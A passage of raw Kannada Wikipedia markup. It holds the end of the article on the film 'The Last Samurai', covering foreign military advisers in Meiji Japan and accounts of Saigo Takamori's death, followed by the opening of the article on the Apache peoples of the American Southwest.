ಪೈಕಿ, ೧೮೮೪ರಿಂದ ೧೮೮೮ರವರೆಗೆ ಒಸಾಕಾ ಎರಕಗೃಹದಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದ ಇಟಲಿಯ ಮೇಜರ್‌ ಪಾಂಪಿಯೋ ಗ್ರಿಲ್ಲೊ, ಇದಾದ ನಂತರ ೧೮೮೯ರಿಂದ ೧೮೯೦ರವರೆಗೆ ಸೇವೆ ಸಲ್ಲಿಸಿದ ಮೇಜರ್‌‌ ಕ್ವಾರಟೆಜಿ, ಹಾಗೂ ೧೮೮೩ರಿಂದ ೧೮೮೬ರವರೆಗೆ ಕಡಲತೀರದ ರಕ್ಷಣೆಗಳನ್ನು ಸುಧಾರಿಸುವ ಕುರಿತಾಗಿ ಕೆಲಸ ಮಾಡಿದ [[ನೆದರ್‍ಲ್ಯಾಂಡ್ಸ್|ಡಚ್‌]] ಕ್ಯಾಪ್ಟನ್‌ ಸ್ಕೆರ್ಮ್‌ಬೆಕ್‌‌ ಸೇರಿದ್ದರು. ೧೮೮೯ ಮತ್ತು ೧೯೧೮ರ ನಡುವಣ ಮತ್ತಾವ ವಿದೇಶಿ ಸೇನಾ-ಸಲಹೆಗಾರರ ಸೇವೆಯನ್ನು ಜಪಾನ್‌ ಬಳಸಿಕೊಳ್ಳಲಿಲ್ಲ; ಅದರೆ, ಇನ್ನೂ ಸಾಕಷ್ಟು ಬೆಳೆದಿರದ ಜಪಾನಿಯರ ವಾಯುಪಡೆಯನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸುವ ಸಲುವಾಗಿ ಹಮ್ಮಿಕೊಂಡ ಯೋಜನೆಯಲ್ಲಿ ನೆರವಾಗಲೆಂದು, ದಳಪತಿ ಜಾಕ್ವೆಸ್‌-ಪಾಲ್‌ ಫೌರೆ ನೇತೃತ್ವದ ನಿಯೋಗವೊಂದಕ್ಕಾಗಿ ಮನವಿ ಮಾಡಿಕೊಳ್ಳಲಾಯಿತು. ಇದರ ಫಲವಾಗಿ ಮತ್ತೊಮ್ಮೆ ಜಪಾನ್‌ಗೆ ನಾಲ್ಕನೇ ಫ್ರೆಂಚ್‌ ಸೇನಾ ನಿಯೋಗವು (೧೯೧೮-೧೯೧೯) ಭೇಟಿನೀಡಿತು. ===ಜಪಾನಿಯರ ಜೊತೆಜೊತೆಗೆ ಹೋರಾಡಿದ ಪಾಶ್ಚಾತ್ಯರು=== [[File:JulesBrunetAlone.jpg|thumb|130px|left|1868ರಲ್ಲಿ ಷೋಗನ್‌ಗಾಗಿ ಹೋರಾಡಿದ ಜೂಲ್ಸ್‌ ಬ್ರೂನೆಟ್‌]] [[File:EugeneCollache.jpg|thumb|130px|ಸಮುರಾಯ್‌‌ ದಿರಿಸಿನಲ್ಲಿ ಹೋರಾಡಿದ ಫ್ರೆಂಚ್‌ ನೌಕಾಪಡೆ ಅಧಿಕಾರಿ ಯೂಜೀನ್‌ ಕೊಲ್ಲಾಷೆ.]] ಐತಿಹಾಸಿಕವಾಗಿ ಹೇಳುವುದಾದರೆ, ಜಪಾನಿಯರ ನಾಗರಿಕ ಯುದ್ಧವೊಂದರಲ್ಲಿ ಒಂದು ಸಕ್ರಿಯ ಪಾತ್ರವನ್ನು ವಹಿಸಿದ ವಿದೇಶಿಯರ ಏಕೈಕ ಪ್ರಮುಖ ನಿದರ್ಶನವೆಂದರೆ (೧೬೩೭ - ೧೬೩೮ರ ಷಿಮಾಬಾರಾ ದಂಗೆಯ ಸಂದರ್ಭದಲ್ಲಿ ಸಿಕ್ಕಿದ ಒಂದು ಸೀಮಿತ ಡಚ್‌ ನೌಕಾ ಬೆಂಬಲವನ್ನು ಹೊರತುಪಡಿಸಿ), ಜೂಲ್ಸ್‌ ಬ್ರೂನೆಟ್‌‌ ಅಡಿಯಲ್ಲಿ ಫ್ರೆಂಚ್‌ ಸೇನಾ ಸಲಹೆಗಾರರದಾಗಿದೆ (ಆರಂಭದಲ್ಲಿ ೧೮೬೭ರ ಫ್ರೆಂಚ್‌ ಸೇನಾ ನಿಯೋಗದ ಸದಸ್ಯರಾಗಿದ್ದವರು); ಈ ಸಲಹೆಗಾರರು ಬೊಷಿನ್‌ ಯುದ್ಧದ ಸಂದರ್ಭದಲ್ಲಿ ಎನೊಮೊಟೊ ಟಕೆಯಾಕಿ ಅಡಿಯಲ್ಲಿ ಷೋಗನ್‌ಗೆ ಅನುಕೂಲಕರವಾಗಿರುವ ಪಡೆಗಳನ್ನು ಸೇರಿಕೊಂಡಿದ್ದರು. ಷೋಗನ್‌ಗಿರಿಯ ಪಡೆಗಳ ಸೇನಾ ಸಂಘಟನೆಯಲ್ಲಿ ಅವರು ಆಳವಾಗಿ ಪಾಲ್ಗೊಂಡಿದ್ದರು, ಮತ್ತು ಹೆಚ್ಚೂಕಮ್ಮಿ ತಿಕ್ಕಾಟದ ಅಂತ್ಯದವರೆಗೂ (ಅವರಲ್ಲಿ ಹಲವು ಮಂದಿ ಅತೀವವಾಗಿ ಗಾಯಗೊಂಡರು) ಅವರು ಹೋರಾಡಿದರು. ಶರಣಾಗತಿಗೆ ಕೆಲವೇ ದಿನಗಳು ಮುಂಚಿತವಾಗಿ, ಸನ್ನಿವೇಶವು ಹತಾಶ ಸ್ಥಿತಿಯನ್ನು ತಲುಪಿದ್ದಾಗ, ಹಾಕೋಡೇಟ್‌‌ನಲ್ಲಿ ಲಂಗರು ಇಳಿಸಿ ಕಾಯುತ್ತಿದ್ದ ''ಕೋಯೆಟ್ಲೋಗನ್‌'' ಎಂಬ ಫ್ರೆಂಚ್‌ ಸಣ್ಣ ಯುದ್ಧನೌಕೆಯಲ್ಲಿ ಅವರು ತೆರಳಿದರು. ಈ ಫ್ರೆಂಚ್‌ ಅಧಿಕಾರಿಗಳ ಪೈಕಿ ಕೆಲವೊಬ್ಬರು (ಫ್ರೆಂಚ್‌ ನೌಕಾ ಅಧಿಕಾರಿ ಯೂಜೀನ್‌ ಕೊಲ್ಲಾಷೆಯಂಥವರು) ಸಮುರಾಯ್‌‌ ದಿರಿಸನ್ನು ಧರಿಸಿದ್ದರಾದರೂ, ಬಕುಫುವಿನ ಸೇನಾಪಡೆಗಳಲ್ಲಿನ ಬಹುತೇಕ ಅಧಿಕಾರಿಗಳು ಮತ್ತು ಅವರ ಫ್ರೆಂಚ್‌ ಸಹೋದ್ಯೋಗಿಗಳು ಫ್ರೆಂಚ್‌ ಸೇನಾ ಸಮವಸ್ತ್ರಗಳನ್ನು ಧರಿಸಿದ್ದರು. ೧೯ನೇ ಶತಮಾನದ ಅಂತ್ಯಭಾಗದಲ್ಲಿ ಜಪಾನಿಯರು ತಮ್ಮ ಸೇನೆಯನ್ನು ಆಧುನೀಕರಿಸಲು ವಿದೇಶಿ ಸಲಹೆಗಾರರ ಸೇವೆಯನ್ನು ಎರವಲುಪಡೆದರಾದರೂ, ಅವರಲ್ಲಿ ಬಹುಪಾಲು ಮಂದಿ ಫ್ರೆಂಚರಾಗಿದ್ದರೇ ಹೊರತು, ಅಮೆರಿಕನ್ನರಾಗಿರಲಿಲ್ಲ. ಕೆನ್‌ ವತಾನಬೆಯ ಪಾತ್ರವು ನಿಜವಾದ ಸೈಗೋ ಟಕಾಮೊರಿಯನ್ನು ಆಧರಿಸಿತ್ತು ಮತ್ತು ಇವನ ಸಾವಿನ ನಿಖರ ಶೈಲಿಯು ಅಜ್ಞಾತವಾಗಿದೆ. ಅವನ ಅಧೀನದ ನೌಕರರು ನೀಡಿದ ವಿವರಗಳು ಪ್ರತಿಪಾದಿಸುವ ಪ್ರಕಾರ, ಅವನು ಸ್ವತಃ ತಾನು ನೆಟ್ಟಗೆ ನಿಂತುಕೊಂಡ ಮತ್ತು ತನ್ನ ಗಾಯದ ಪಕ್ಕದಲ್ಲಿ ಹೊಟ್ಟೆಬಗೆತವನ್ನು ಮಾಡಿಕೊಂಡ ಅಥವಾ ತನ್ನ ಆತ್ಮಹತ್ಯೆಯಲ್ಲಿ ನೆರವಾಗುವಂತೆ ಓರ್ವ ಒಡನಾಡಿಗೆ ಅವನು ಮನವಿಮಾಡಿಕೊಂಡ.{{Citation needed|date=September 2009}} ಚರ್ಚೆಯ ಸಂದರ್ಭದಲ್ಲಿ, ಕೆಲವೊಬ್ಬ ವಿದ್ವಾಂಸರು{{Who|date=September 2009}} ಸೂಚಿಸಿರುವ ಪ್ರಕಾರ, ಈ ಎರಡೂ ನಿರ್ದಶನಗಳೂ ನಡೆದಿಲ್ಲ; ತನಗೆ ಆದ ಗಾಯವನ್ನು ಅನುಸರಿಸಿ ಸೈಗೋ ಆಘಾತಕ್ಕೆ ಈಡಾಗಿರಬಹುದು ಮತ್ತು ಮಾತನಾಡುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಅವನು ಕಳೆದುಕೊಂಡಿರಬಹುದು. ಈ ಸ್ಥಿತಿಯಲ್ಲಿ ಅವನನ್ನು ಹಲವಾರು ಒಡನಾಡಿಗಳು ಕಂಡನಂತರ, ಅವನ ತಲೆಯನ್ನು ಕತ್ತರಿಸಿರಬಹುದು; ತನ್ಮೂಲಕ ಅವನು ಬಯಸಿದ್ದ ಎಂಬುದಾಗಿ ತಾವು ಅರಿತಿದ್ದ, ಯೋಧನ ಆತ್ಮಹತ್ಯೆಯನ್ನು ಈಡೇರಿಸುವಲ್ಲಿ ಅವನಿಗೆ ನೆರವಾಗಿರಬಹುದು. ನಂತರದಲ್ಲಿ, ಓರ್ವ ನಿಜವಾದ ಸಮುರಾಯ್‌‌ ಆಗಿ ಅವನ ಸ್ಥಾನಮಾನವನ್ನು ಸಂರಕ್ಷಿಸುವ ದೃಷ್ಟಿಯಿಂದ, ಅವನು ಹೊಟ್ಟೆಬಗೆತವನ್ನು ಕೈಗೊಂಡ ಎಂಬುದಾಗಿ ಅವರು ಹೇಳಿರಬಹುದು. == ಇವನ್ನೂ ಗಮನಿಸಿ == * ಒ-ಯಟೊಯಿ ಗೈಕೊಕುಜಿನ್‌‌ * [[ಸಮುರಾಯ್‌|ಸಮುರಾಯ್‌‌]] * ಒಮುರಾ ಮುಸುಜಿರೊ * ಜಪಾನ್‌ಗೆ ತೆರಳಿದ ಫ್ರೆಂಚ್‌ ಸೇನಾ ನಿಯೋಗ (೧೮೬೭) * ಮಾರ್ಕ್‌ ರಾಪ್ಪಾಪೋರ್ಟ್‌ (ಜೀವಿಗಳ ಪರಿಣಾಮಗಳ ಕಲಾವಿದ) * ಎಂಜಿಯೊ-ಜಿ ದೇವಸ್ಥಾನ - ಅನೇಕ ದೃಶ್ಯಗಳನ್ನು ಇಲ್ಲಿ ಚಿತ್ರೀಕರಿಸಲಾಯಿತು. ==ಟಿಪ್ಪಣಿಗಳು== {{reflist}} ==ಆಕರಗಳು== * ‌‌ಪೋಲಾಕ್, ಕ್ರಿಸ್ಟಿಯನ್‌‌. (೨೦೦೧). ''ಸೊಲೀ ಎಟ್‌ ಲ್ಯೂಮಿಯೆರ್ಸ್‌: ಎಲ್‌'ಏಜ್‌ ಡಿ'ಒರ್‌ ಡೆಸ್‌ ಎಚೇಂಜಸ್‌ ಫ್ರಾಂಕೊ-ಜಪೊನೈಸ್‌ (ಡೆಸ್‌ ಆರಿಜಿನ್ಸ್‌ ಔಕ್ಸ್‌ ಅನೀಸ್‌ ೧೯೫೦).'' ಟೋಕಿಯೊ: ''ಛೇಂಬ್ರೆ ಡೆ ಕಾಮರ್ಸ್‌ ಎಟ್‌ ಡಿ'ಇಂಡಸ್ಟ್ರಿ ಫ್ರಾಂಚೈಸ್‌ ಡು ಜಪಾನ್‌,'' ಹ್ಯಾಚೆಟ್‌‌ ಫ್ಯೂಜಿನ್‌ ಗಹೊಷಾ (アシェット婦人画報社). * __________. (೨೦೦೨). 絹と光: 知られざる日仏交流೧೦೦年の歴史 (江戸時代-೧೯೫೦年代) ''ಕಿನು ಟು ಹಿಕಾರಿಯೊ: ಶಿರಾರೆಜಾರು ನಿಚಿ-ಫಟ್ಸು ಕೊರ್ಯು ೧೦೦-ನೆನ್‌‌ ನೊ ರೆಕಿಶಿ (ಎಡೊ ಜಿಡಾಯಿ-೧೯೫೦-ನೆಂಡಾಯಿ).'' ಟೋಕಿಯೊ: ಅಶೆಟ್ಟೊ ಫ್ಯೂಜಿನ್‌ ಗಹೊಷಾ, ೨೦೦೨. ೧೦-ISBN ೪-೫೭೩-೦೬೨೧೦-೬; ೧೩-ISBN ೯೭೮-೪-೫೭೩-೦೬೨೧೦-೮; [http://www.worldcat.org/oclc/50875162 OCLC 50875162] == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{wikiquote}} *{{Official|http://www.lastsamurai.com}} *{{imdb title|id=0325710}} * {{Amg movie|284009}} *{{rotten-tomatoes|id=last_samurai}} *{{mojo title|id=lastsamurai}} *[http://blogs.amctv.com/future-of-classic/2009/09/saddest-movie-deaths.php ಡಸ್‌ ದಿ ಲಾಸ್ಟ್‌ ಸಮುರಾಯ್‌‌ ಹ್ಯಾವ್‌ ದಿ ಸ್ಯಾಡೆಸ್ಟ್‌ ಮೂವೀ ಡೆತ್‌‌?] {{Edward Zwick}} {{DEFAULTSORT:Last Samurai, The}} [[ವರ್ಗ:2003ರ ಚಲನಚಿತ್ರಗಳು]] [[ವರ್ಗ:ಅಮೆರಿಕಾದ ಮಹಾಕಾವ್ಯದಂಥ ಚಲನಚಿತ್ರಗಳು]] [[ವರ್ಗ:ಅಮೆರಿಕಾದ ಯುದ್ಧ ರೂಪಕದ ಚಲನಚಿತ್ರಗಳು]] [[ವರ್ಗ:ಚಲನಚಿತ್ರ ಮತ್ತು ರಂಗಭೂಮಿಯಲ್ಲಿನ ಏಷ್ಯನ್ನರು]] [[ವರ್ಗ:ಇಂಗ್ಲಿಷ್-ಭಾಷೆಯ ಚಲನಚಿತ್ರಗಳು]] [[ವರ್ಗ:ಎಡ್ವರ್ಡ್‌ ಝ್ವಿಕ್‌‌ನಿಂದ ನಿರ್ದೇಶಿಸಲ್ಪಟ್ಟ ಚಲನಚಿತ್ರಗಳು]] [[ವರ್ಗ:ಕ್ಯಾಲಿಫೋರ್ನಿಯಾದಲ್ಲಿ ಸಜ್ಜುಗೊಳಿಸಲಾದ ಚಲನಚಿತ್ರಗಳು]] [[ವರ್ಗ:ಜಪಾನಿನಲ್ಲಿ ಸಜ್ಜುಗೊಳಿಸಲಾದ ಚಲನಚಿತ್ರಗಳು]] [[ವರ್ಗ:1870ರ ದಶಕದಲ್ಲಿ ಸಜ್ಜುಗೊಳಿಸಲಾದ ಚಲನಚಿತ್ರಗಳು]] [[ವರ್ಗ:ಪೂರ್ವಸ್ಮೃತಿಯ ರೀತಿಯಲ್ಲಿ ಚಿತ್ರೀಕರಿಸಿದ ಚಲನಚಿತ್ರಗಳು]] [[ವರ್ಗ:ಜಪಾನ್‌‌ನಲ್ಲಿ ಚಿತ್ರೀಕರಿಸಿದ ವಿದೇಶಿ ಚಲನಚಿತ್ರಗಳು]] [[ವರ್ಗ:ಫ್ರೆಂಚ್‌-ಭಾಷಾ ಚಲನಚಿತ್ರಗಳು]] [[ವರ್ಗ:ಐತಿಹಾಸಿಕ ಚಲನಚಿತ್ರಗಳು]] [[ವರ್ಗ:ಜಪಾನಿ-ಭಾಷಾ ಚಲನಚಿತ್ರಗಳು]] [[ವರ್ಗ:ಸಮುರಾಯ್‌ ಚಲನಚಿತ್ರಗಳು]] [[ವರ್ಗ:ವಾರ್ನರ್ ಬ್ರದರ್ಸ್‌‌ ಚಲನಚಿತ್ರಗಳು]] [[ವರ್ಗ:ನ್ಯೂಜಿಲೆಂಡ್‌ನಲ್ಲಿ ಚಿತ್ರೀಕರಿಸಿದ ಚಲನಚಿತ್ರಗಳು]] [[ವರ್ಗ:ಚಲನಚಿತ್ರಗಳು]] 9q171k3ldt941chmfnlptesliivyu5c ಅಪಾಚೆ 0 24837 1116553 1115739 2022-08-24T03:04:19Z InternetArchiveBot 69876 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Other uses}} {{Infobox Ethnic group |group = Apache |image = [[ಚಿತ್ರ:Apache portraits.jpg|none|270px]]Apache portraits |poptime = 56,060 (self-identified)<ref>[http://www.census.gov/population/cen2000/phc-t18/tab001.pdf Census.gov] Census 2000 PHC-T-18. American Indian and Alaska Native Tribes in the United States: 2000. ''[[US Census Bureau]]'' 2000 (retrieved December 28, 2009)</ref> |popplace = [[Arizona]], [[New Mexico]] and [[Oklahoma]] |rels = [[Native American Church]], [[Christianity]], traditional [[Shamanism|shamanistic]] tribal religion |langs = [[Chiricahua language|Chiricahua]], [[Jicarilla language|Jicarilla]], [[Lipan Apache]], [[Plains Apache]], [[Mescalero language|Mescalero]], [[Western Apache language|Western Apache]] |related = [[Navajo people|Navajo]], [[Athabaskan peoples|Athabaskans]] }} '''ಅಪಾಚೆ''' ({{pron-en|əˈpætʃiː}})ಎನ್ನುವುದು ಸಾಂಸ್ಕೃತಿಕವಾಗಿ ಸಂಬಂಧವನ್ನು ಹೊಂದಿರುವ ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿರುವ ಮೂಲನಿವಾಸಿ ಅಮೆರಿಕದವರ ಅನೇಕ ಗುಂಪುಗಳನ್ನು ಒಟ್ಟಾಗಿ ಹೇಳುವ ಸಾಮೂಹಿಕ ಪದ. ಇವರು ಮೂಲತಃ ಅಮೆರಿಕದ ನೈಋತ್ಯ ಭಾಗದವರು. ಉತ್ತರ ಅಮೆರಿಕದ ಈ ಮೂಲನಿವಾಸಿಗಳು ದಕ್ಷಿಣದ ಅಥಾಬಾಸ್ಕನ್ (ಅಪಾಚಿಯವರ) ಭಾಷೆಯನ್ನು ಮಾತನಾಡುತ್ತಾರೆ.ಇದು ಭಾಷಾಶಾಸ್ತ್ರೀಯವಾಗಿ [[ಅಲಾಸ್ಕ|ಅಲಾಸ್ಕಾ]]ದಲ್ಲಿ ಮತ್ತು ಮತ್ತು ಪಶ್ಚಿಮ [[ಕೆನಡಾ]]ದಲ್ಲಿ ಮಾತನಾಡುವ ಅಥಾಬಾಸ್ಕನ್ ಭಾಷೆಗಳಿಗೆ ಸೇರಿದೆ. ಆಧುನಿಕ ಪದ ಅಪಾಚೆಯು ಸಂಬಂಧಿ ನವಾಜೋ ಜನರನ್ನು ಹೊರಗಿಡುತ್ತದೆ. ಹೀಗಿದ್ದರೂ ನವಾಜೋ ಮತ್ತು ಇತರ ಅಪಾಚೆ ಗುಂಪುಗಳು ಸಂಪುಷ್ಟವಾಗಿ ಸಂಸ್ಕೃತಿ ಮತ್ತು ಭಾಷೆಯ ವಿಚಾರದಲ್ಲಿ ಸಂಬಂಧ ಹೊಂದಿರುವುದರಿಂದ ಅವರನ್ನೆಲ್ಲ '''ಅಪಾಚಿಯನ್ (ಅಪಾಚೆಯವರು) ''' ಎಂದು ಪರಿಗಣಿಸಲಾಗಿದೆ. ಅಪಾಚಿಯನ್ ಜನರು ಮೊದಲು ಪೂರ್ವ [[ಆರಿಜೋನ|ಅರಿಝೋನಾ]], [[ಮೆಕ್ಸಿಕೋ]], ನ್ಯೂ ಮೆಕ್ಸಿಕೋ, ಟೆಕ್ಸಾಸ್ ಮತ್ತು ದಕ್ಷಿಣದ ವಿಶಾಲ ಬಯಲುಗಳಲ್ಲಿ ವಾಸಿಸುತ್ತಿದ್ದರು. ಅಪಾಚಿಯನ್ ಗುಂಪುಗಳಲ್ಲಿ ಅತಿ ಕಡಿಮೆ ರಾಜಕೀಯ ಏಕತೆ ಇತ್ತು. ಈ ಗುಂಪುಗಳು ಏಳು ವಿವಿಧ ಭಾಷೆಗಳನ್ನು ಆಡುತ್ತಿದ್ದವು. ಪ್ರಸ್ತುತ ಅಪಾಚಿಯನ್ ಗುಂಪುಗಳ ವಿಭಾಗವು ನವಾಜೋ, ವೆಸ್ಟರ್ನ್ ಅಪಾಚೆ, ''ಚಿರಿಕಹುಆ'' , ''ಮೆಸ್ಕೆಲೆರೋ'' , ''ಜಿಕಾರಿಲ್ಲಾ'' , ''ಲಿಪಾನ್'' ಮತ್ತು ಬಯಲು ಅಪಾಚೆ (ಹಿಂದೆ ಕಿಯೋವಾ- ಅಪಾಚೆ)ಗಳನ್ನು ಒಳಗೊಂಡಿದೆ. ಅಪಾಚೆ ಗುಂಪುಗಳು [[ಒಕ್ಲಹೋಮ|ಓಕ್ಲಹಾಮಾ]] ಮತ್ತು ಟೆಕ್ಸಾಸ್್ಗಳಲ್ಲಿ ಹಾಗೂ ಅರಿಝೋನಾ ಮತ್ತು ನ್ಯೂ ಮೆಕ್ಸಿಕೋಗಳ ಮೀಸಲು ಪ್ರದೇಶಗಳಲ್ಲಿ ವಾಸಿಸುತ್ತಿವೆ. ಕೆಲವು ಅಪಾಚಿಯನ್ನರು ದೊಡ್ಡ ಮಹಾನಗರ ಪ್ರದೇಶಗಳಿಗೆ ತೆರಳಿದ್ದಾರೆ. ಅಪಾಚೆಗಳ ಅತಿ ದೊಡ್ಡ ನಗರ ಸಮುದಾಯವು ಓಕ್ಲಹಾಮಾ ಸಿಟಿ, ಕನ್ಸಾಸ್ ಸಿಟಿ, ಫೋನಿಕ್ಸ್, ಡೆನ್ವೆರ್, ಸಾನ್್ಡಿಯಾಗೋ ಮತ್ತು ಲಾಸ್ ಏಂಜಿಲಸ್್ಗಳಲ್ಲಿದೆ. {{Citation needed|date=October 2008}}ಕೆಲವು ಅಪಾಚಿಯನ್ನರು ವಲಸೆ ತೋಟದ ಕಾರ್ಮಿಕರಾಗಿ ಕೆಲಸ ಮಾಡುತ್ತಿದ್ದಾರೆ. ಅವರನ್ನು ದಕ್ಷಿಣ ಕೆಲಿಫೋರ್ನಿಯಾ, ಕೋಚೆಲ್ಲಾ, ಇಂಪೀರಿಯಲ್ ಮತ್ತು ಕೋಲೋರೋಡೋ ನದಿ ಕಣಿವೆಯ ಪ್ರದೇಶಗಳಲ್ಲಿ ಕೃಷಿ ಪ್ರದೇಶಗಳಲ್ಲಿ ಪುನರ್ನೆಲೆಗೊಳಿಸಲಾಗಿದೆ. ಅಲ್ಲೆಲ್ಲ ಇಂದು ಸಾವಿವಾರು ಸಂಖ್ಯೆಯಲ್ಲಿ ಅಪಾಚೆಯವರು ವಾಸಿಸುತ್ತಿದ್ದಾರೆ. {{Citation needed|date=October 2008}} ಅಪಾಚೆಯವರ ಬುಡಕಟ್ಟಿನವರು ಐತಿಹಾಸಿಕವಾಗಿ ಅತ್ಯಂತ ಬಲಿಷ್ಠರು, [[ಸ್ಪೇನ್|ಸ್ಪೇನ್ ದೇಶದವರನ್ನು]] ಮತ್ತು ಯುರೋಪಿನಿಂದ ಬಂದ ಮೆಕ್ಸಿಕನ್ನರನ್ನು ಶತಮನಗಳಿಂದ ವಿರೋಧಿಸುತ್ತ ಬಂದಿದ್ದಾರೆ. ಸೋನೋರಾದ ಮೇಲೆ ಅಪಾಚಿಗಳು ನಡೆಸಿದ ಮೊದಲ ದಾಳಿ 17ನೆ ಶತಮಾನದ ಕೊನೆಯಲ್ಲಿ ನಡೆದಂತೆ ತೋರುತ್ತದೆ. 19ನೆ ಶತಮಾನದಲ್ಲಿ ನಡೆದ ಸಂಘರ್ಷಗಳಿಂದ ಅಪಾಚೆಗಳು ಭೀಷಣ ಯೋಧರು ಮತ್ತು ಪರಿಣತ ವ್ಯೂಹರಚನೆಕಾರರು ಎಂಬುದನ್ನು ಅಮೆರಿಕದ ಸೇನೆಯು ಅರಿತುಕೊಂಡಿತು.<ref>[http://dnn.epcc.edu/nwlibrary/borderlands/18_apache.htm "ಅಪಾಚೆ ಇಂಡಿಯನ್ ಸೌಥ್್ವೆಸ್ಟ್"] {{Webarchive|url=https://web.archive.org/web/20110816203553/http://dnn.epcc.edu/nwlibrary/borderlands/18_apache.htm |date=2011-08-16 }}, ಇಪಿ ಕಮ್ಯೂನಿಟಿ ಕಾಲೇಜ್, ಲಭ್ಯ 21 ಜನವರಿ 2010</ref> == ಇವತ್ತಿನ ಅಪಾಚೆ ಗುಂಪುಗಳು == [[ಚಿತ್ರ:Edward S. Curtis Collection People 039.jpg|thumb|left|ಸಿಗೇಶ್, ಓರ್ವ ಅವಿವಾಹಿತ ಅಪಾಚೆ ಮಹಿಳೆ, ಸುಮಾರು1905ಅವಳ ಕೇಶವಿನ್ಯಾಸ ಮತ್ತು ಆಭರಣಗಳು ಆಗಿನ ಅಪಾಚೆ ಹುಡುಗಿಯರ ಲಕ್ಷಣಗಳಾಗಿದ್ದವು. ಎಡ್ವರ್ಡ್ ಎಸ್. ಕರ್ಟಿಸ್ ಫೋಟೊ.]] [[ಚಿತ್ರ:Apachean ca.18-century.png|300px|thumb|ಅಪಾಚೆ ಬುಡಕಟ್ಟಿನವರು ಸುಮಾರು. 18 ನೆ ಶತಮಾನ: ಡಬ್ಲೂಎ – ವೆಸ್ತ್ರರ್ನ್ ಅಪಾಚೆ, ಎನ್ – ನವಾಜೋ, ಸಿಎಚ್ – ಚಿರಿಕಹುಆ, ಎಂ – ಮೆಸ್ಕಲೆರೋ, ಜೆ – ಜಿಕಾರಿಲ್ಲಾ, ಎಲ್ – ಲಿಪಾನ್, ಪಿಎಲ್ – ಪ್ಲೇನ್ಸ್ ಅಪಾಚೆ]] ಇಂದಿನ ದಿನದ ಅಪಾಚೆ ಜನರಲ್ಲಿ ಜಿಕಾರಿಲ್ಲಾ ಮತ್ತು ನ್ಯೂಮೆಕ್ಸಿಕೋದ ಮೆಸ್ಕಲೆರೋ, ಅರಿಝೋನಾ- ನ್ಯೂ ಮೆಕ್ಸಿಕೋ ಗಡಿ ಪ್ರದೇಶದ ಚಿರಿಕಾಹುಆ, ನೈಋತ್ಯ ಟೆಕ್ಸಾಸ್್ನ ಲಿಪಾನ್ ಅಪಾಚೆ ಮತ್ತು ಓಕ್ಲಹಾಮಾದ ಬಯಲುಗಳ ಅಪಾಚೆ ಒಳಗೊಂಡಿದ್ದಾರೆ. ಇತರ ಅಪಾಚೆ ಗುಂಪುಗಳೂ ಅಸ್ತಿತ್ವದಲ್ಲಿ ಇವೆ ಎಂಬ ವಿಷಯದಲ್ಲಿ ಸಂದೇಹಕ್ಕೆ ಎಡೆ ಇಲ್ಲ. ಆದರೆ ಇವರ ಬಗ್ಗೆ ಆಧುನಿಕ ಮಾನವಶಾಸ್ತ್ರಜ್ಞರಿಗೆ ಮತ್ತು ಇತಿಹಾಸಕಾರರಿಗೆ ಗೊತ್ತಿಲ್ಲ. ಅರಿಝೋನಾದಲ್ಲಿರುವ ಏಕೈಕ ಅಪಾಚೆ ಗುಂಪು ಪಶ್ಚಿಮ ಅಪಾಚೆಗಳು. ಈ ಗುಂಪನ್ನು ಅನೇಕ ಮೀಸಲು ಪ್ರದೇಶಗಳಲ್ಲಿ ವಿಭಾಗಿಸಲಾಗಿದೆ. ಇದರಿಂದಾಗಿ ಸಾಂಸ್ಕೃತಿಕ ವಿಭಾಗಗಳು ಅಳಸಿಹೋಗಿವೆ. ಪಶ್ಚಿಮದ ಅಪಾಚೆ ಮೀಸಲು ಪ್ರದೇಶಗಳಲ್ಲಿ ಫೋರ್ಟ್ ಅಪಾಚೆ ವೈಟ್ ಮೌಂಟೇನ್, ಸಾನ್ ಕಾರ್ಲೋಸ್, ಯವಪೈ- ಅಪಾಚೆ, ಟೋಂಟೋ ಅಪಾಚೆ ಮತ್ತು ಫೋರ್ಟ್ ಮ್ಯಾಕ್್ಡೊವೆಲ್ ಮೊಹಾವೆ ಸೇರಿವೆ. [[ಚಿತ್ರ:Apachean present.png|thumb|450px|ಅಪಾಚೆ ಜನರ ಇಂದಿನ ದಿನಗಳ ಮೂಲ ಸ್ಥಳಗಳು]]ಯುದ್ಧ ಕೈದಿಗಳಾಗಿದ್ದ ಚಿರಿಕಾಹುಆ ಗುಂಪಿನವರನ್ನು ಬಿಡುಗಡೆ ಮಾಡಿದ ಬಳಿಕ ಎರಡು ಗುಂಪುಗಳಲ್ಲಿ ವಿಭಜಿಸಲಾಯಿತು. ಇವರಲ್ಲಿ ಹೆಚ್ಚಿನವರು ಮೆಸ್ಕಲೆರೋ ಮೀಸಲು ಪ್ರದೇಶಕ್ಕೆ ತೆರಳಿದರು ಮತ್ತು ಈಗ ಲಿಪಾನ್ ಜೊತೆಯಲ್ಲಿ ವಿಶಾಲವಾದ ಮೆಸ್ಕಲೆರೋ ರಾಜಕೀಯ ಗುಂಪಿನಡಿ ಒಂದಾಗಿದ್ದಾರೆ. ಇತರ ಚಿರಿಕಾಹುಆದವರು ಓಕ್ಲಹಾಮಾದಲ್ಲಿಯೇ ಉಳಿದರು ಮತ್ತು ಅಂತಿಮವಾಗಿ ಫೋರ್ಟ್ ಸಿಲ್ಲ್ ಅಪಾಚೆ ಟ್ರೈಬ್ ಆಫ್ ಓಕ್ಲಹಾಮಾ ಸ್ಥಾಪಿಸಿದರು. ಮೆಸ್ಕೆಲೆರೋಗಳು ನ್ಯೂಮೆಕ್ಸಿಕೋದ ಆಗ್ನೇಯಕ್ಕಿರುವ ಮೆಸ್ಕೆಲೆರೋ ಮೀಸಲು ಪ್ರದೇಶದಲ್ಲಿ ನೆಲೆಯಾದರು. ಇದು ಐತಿಹಾಸಿಕ ಫೋರ್ಟ್ ಸ್ಟೇಶನ್ ಬಳಿ ಇದೆ. ನ್ಯೂಮೆಕ್ಸಿಕೋದ ವಾಯವ್ಯಕ್ಕಿರುವ ರಿಯೋ ಅರಿಬಾ ಮತ್ತು ಸ್ಯಾಂಡೋವಲ್್ಗಳಲ್ಲಿಯ ಜಿಕಾರಿಲ್ಲಾ ಮೀಸಲು ನೆಲೆಯಲ್ಲಿ 